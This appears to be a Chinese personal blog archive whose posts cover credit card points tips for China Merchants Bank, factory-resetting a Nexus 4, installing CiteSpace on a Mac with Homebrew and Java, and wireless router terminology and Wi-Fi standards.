  5、预借现金。取现额度达标后可以领取积分。预借现金超过一天是按照每天万分之五计息,最好当天借当天还款。还款有顺序,先还上期分期累计的利息、再还当期已出账单,最后还此次预借现金。在AE权益缩水之前,大量的积分就是从这里生成,现在恐怕玩的人少了吧,分再多也没多大用。

  6、游戏。每日竞猜、水果猜猜猜、过关斩将、单色球、万米赛跑喵、喵喵快跑、抓喵喵等游戏,认真玩会有比较多的积分,但是非常浪费时间和精力。工作生活节奏这么快,真有时间打游戏吗?

  7、第三方的联合活动。如爱奇艺、优酷会员领99招行积分活动,现在还有。

  8、推荐新用户。推荐1-5个人就可以领取1500-6000积分。

  9、新户礼。所有银行对于新户是极为慷慨的,这个千万不要浪费,例如招行BankCard、阴阳师、航海王粉丝卡新户可以领取1000积分。

  10、不定期活动。招商银行为了粘住用户,不定期(几乎每周),都要有积分活动,例如圣诞节的“10亿积分红包雨”,我一次领404分。重大消费性节日也会有活动。

积分超值换

招商的积分池有高端卡才能实现积分利益的最大化,这是重点。

  1、经典白年费兑换。1万永久积分兑换3600元年费,绝对是超值,没有之一。

​ 2、酒店积分和航空里程兑换。所有高端卡按户兑换,自然年上限是5万积分及5万里程。有人说换亚万里程性价比高,换SPG还是换希尔顿还是看个人喜好吧,我个人认为换SPG相对酒店选择多一些,希尔顿的待遇好一些。到底办不办AE我现在也迷糊,有经典白先用着吧。

​ 航空里程是通过打招行客服电话兑换的,各航空公司里程兑换比例,如下:

image

​ 兑换之前记得注册各航空公司的会员账号,亚洲万里通、南航可以通过网上注册,其他杭州待试。

  3、“300+100”酒店权益兑换。刚需的非常有用,比市面上的价格能省50%,但300元的酒店是越来越少了,况且300+指的不是300元,是300家酒店。

  4、积分折扣券。掌上生活“年末嗨抢”、“年末嗨兑”活动,有5/7/9折积分商城折扣券,这是不定期活动,需要经常关注掌上生活才能参与。其它的礼品兑换实在是没什么意思。

  5、积分抢购。  

​ 6、贵宾登机权益,不用与大家一起排队过安检,还有专车接送登机,休息室也有零食可以吃。

​ 7、健康检查和口腔护理,其中体检和口腔护理可以转给其他人,相当于撸一把羊毛。

​ 积分兑换实物相比购买里程和酒店是最划算的,如果没有经典白金卡或更高级的卡,也可以通过办理航空公司的信用卡实现。

积分多倍叠加

多倍积分会节省很多消费金额,如果利用的好的话,可以轻松把年费拿回来,多倍积分活动,如下:

  1、生日日十倍积分。经典白(需要申请)、钻石白、百夫长卡生日当天消费有十倍积分,想拿满1万分,需有积分消费22240元。

  2、生日月双倍积分,适用于young卡、GQ卡、微博卡,海贼王系列等,按卡种上限2000分。

  3、1.5倍积分,适用于城市车、车卡等,这些卡片的积分有效期是3年。

  4、快捷支付多倍积分。算是不定期活动,一般在双11、双12、重大节日期间会推出,需要报名或领权益券后才能参加。

洗分

​ 招行有积分池有永久积分和临时积分,一般快到期前银行会提示。把临时积分洗成永久积分过去用踢足球,现在能延长有效期就很不错了。

​ 现在的洗分方式我知道的有五星玩家积分抽奖活动。每个月可以免费以199积分5次抽奖,这个月抽下个月返,返还积分有效期可以延长一年半。每年可让11940临时积分延长有效期。记住先领权益券再抽奖。

​ 再就是游戏洗分了。抓喵喵,用19积分抓。个人觉得没什么规律,都是电脑在后台控制。小赌怡情。

参考链接

Nexus4 忘记密码修复

N4好几年没有用了,之前设置的密码根本想不起来,本来想着有什么软件能够直接修复密码,保留原来的数据,试了几次无果,最后恢复原厂设置。

有好集中修复忘记密码的方式,挨个试了一边,只有恢复原厂设置靠谱,其他的都具有局限性。

恢复原厂设置

  1. 关机
  2. 然后按住音量下+开机键,
  3. 并选择recovery mode进入(用音量键上下来选择,开机键是确定)
  4. 如果您进入后, 看见一个到地的Android 机器人和一个红色感叹号,那说明您使用的是原生的recovery,此时再按一下电源键, 然后按一下音量+ 键即可进入(要按久一点)
  5. 看到原生recovery的菜单,找到wipe data/factory reset确定(用音量键上下来选择,开机键是确定)
  6. 回到recovery后重启手机即可

参考链接:

Change Log

20181125 3个小时

Mac下安装CiteSpace

下载

在CiteSpace官网下载最新版软件下载链接

http://cluster.ischool.drexel.edu/~cchen/citespace/download/

![屏幕快照 2018-10-06 21.53.28](assets/屏幕快照 2018-10-06 21.53.28.png)

下载7z的压缩包,若没有安装JRE的话也需要下载JRE。

安装环境

查看“系统偏好设置”检查左下角的Java图标,若没有图表需要下载最新版的Jre。若有图表点击进去查看是否是Java8,不是的话需要更新。

![屏幕快照 2018-10-06 21.58.09](assets/屏幕快照 2018-10-06 21.58.09.png)

打开

Mac上已经安装了“The Unarchiver”,在下载的文件夹内双击文件即把CiteSpace解压到子文件夹下了。没有安装解压软件的同学,搜索一下Mac的命令吧。

![屏幕快照 2018-10-06 22.04.01](assets/屏幕快照 2018-10-06 22.04.01.png)

打开终端,进入解压后的文件夹:

![屏幕快照 2018-10-06 22.13.40](assets/屏幕快照 2018-10-06 22.13.40.png)

输入命令:

sh StartCiteSpace_Mac.sh

后续按照提示打开CiteSpace。

首次打开会提示缺失的环境,按照提示安装即可。

![屏幕快照 2018-10-06 21.49.45](assets/屏幕快照 2018-10-06 21.49.45.png)

点击右下角的“agree”进入页面:

![屏幕快照 2018-10-06 21.50.03](assets/屏幕快照 2018-10-06 21.50.03.png)

其他

最可能碰到的是没有安装Java环境JRE和JDK。除了上面讲的下载安装包安装以外,也可以使用 Homebrew(macOS下包管理器)进行安装。

安装Homebrew:

/usr/bin/ruby -e “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

然后通过brew安装java

brew cask install java

无线路由器常识

概述

先来看下路由器都包括哪些参数或者功能,他们具体的含义是什么。

包括如下:CPU、传输速率、适用频段、适用频率、网络接口、无线桥接、网络标准、QOS、防火墙、WPS几个部分。

路由器

​ 是一种连接两个以上个别网络的设备,提供路由与转送两种重要机制,可以决定封包从来源端到目的端所经过的路由路径(host到host之间的传输路径),这个过程称为路由;将路由器输入端的封包移送至适当的路由器输出端(在路由器内部进行),这称为转送。路由工作在OSI模型的第三层——即网络层。

相关术语:

SSID:用来表示无线网络,每个网络都有自己的SSID来标识自己。

​ BSSID:用来标识一个BSS,其格式和MAC地址一样,是48位的地址格式。一般来说,它就是所处的无线接入点的MAC地址。某种程度来说,它的作用和SSID类似,但是SSID是网络的名字,是给人看的,BSSID是给机器看的,BSSID类似MAC地址。

​ BSS(Basic Service Set):由一组相互通信的工作站组成,是802.11无线网络的基本组件。主要有两种类型的IBSS和基础结构型网络。IBSS又叫ADHOC,是临时组网,通信方式为Station<->Station;基础结构形网络,其通信方式是Station<->AP<->Station,也就是所有无线网络中的设备要想通信,都得经过AP。在无线网络的基础形网络中,最重要的两类设备:AP和Station。

​ DS(Distributed System):即分布式系统。分布式系统属于802.11逻辑组件,负责将帧转发至目的地址,802.11并未规定其技术细节,大多数商业产品以桥接引擎合分步式系统媒介共同构成分布式系统。分步式系统是接入点之间转发帧的骨干网络,一般是以太网。其实,骨干网络并不是分步系统的全部,而是其媒介。主要有三点:骨干网(例如以太网)、桥接器(具有有线无线两个网络接口的接入点包含它)、属于骨干网上的接入点所管辖的基础性网络的station通信(和外界或者BSS内部的station)必须经过DS、而外部路由只知道station的mac地址,所以也需要通过分布式系统才能知道station的具体位置并且正确送到。分步式系统中的接入点之间必须相互传递与之关联的工作站的信息,这样整个分步式系统才能知道哪个station和哪个ap关联,保证分步式系统正常工作(即转达给正确的station)。分步式系统也可以是使用无线媒介(WDS),不一定一定是以太网。总之,分步式系统骨干网络(例如以太网)做为媒介,连接各个接入点,每个接入点与其内的station可构成BSS,各个接入点中的桥接控制器有到达骨干网络和其内部BSS无线网的接口(类似两个MAC地址),station通信需要通过分布式系统。

CPU 处理器

​ CPU是处理数据的核心,它的好坏直接和速度关联(主要是有路由器定制系统的路由使用)。处理局域网与外网的数据交换时,有足够的响应时间与快速的响应速度,从而达到信号稳定、不丢包。

通常在中低端路由器中,CPU负责交换路由信息、路由表查找以及转发数据包。在高端路由器中,通常包转发和查表由ASIC芯片完成,CPU只实现路由协议、计算路由以及分发路由表。由于技术的发展,路由器中许多工作都可以由硬件实现(专用芯片)。

协议和速率

路由器的传输速率根据传输协议不同而不同:

wifi

协议发布年/月Op.标准频宽实际速度(标准)实际速度(最大)半径范围(室内)半径范围(室外)
Legacy19972.4-2.5 GHz1 Mbit/s2 Mbit/s??
802.11a19995.15-5.35/5.47-5.725/5.725-5.875 GHz25 Mbit/s54 Mbit/s约30米约45米[3]
802.11b19992.4-2.5 GHz6.5 Mbit/s11 Mbit/s约30米约100米
802.11g20032.4-2.5 GHz25 Mbit/s54 Mbit/s约30米约100米
802.11n20092.4 GHz or 5 GHz bands300 Mbit/s(20MHz*4 MIMO)600 Mbit/s(40MHz*4 MIMO)约70米约250米
802.11p20095.86-5.925 GHz3 Mbit/s27 Mbit/s约300米约1000米
802.11ac2011.115 GHz433Mbit/s, 867Mbit/s(80MHz,160MHz为可选)867Mbit/s, 1.73 Gbit/s, 3.47 Gbit/s, 6.93 Gbit/s(8 MIMO,160MHz)约35米[4]
802.11ad2009.122.4/5/60 GHz4620Mbps7Gbps(6756.75Mbps)约1-10米[5][6]
802.11ax2018.122.4/5 GHz10.53Gbps10米100米[7]

适用频段

一般支持5g或2.4g两个频率范围段的无线信号。如果两者同时可以设置,而不是互斥那么,这个路由器还能够同时支持两种频段(频段即Band),这相当于这个ap可建立两个无线网络,它们采用不同的频段(这类似收音机在长波范围内收音和短波范围内收音)

[]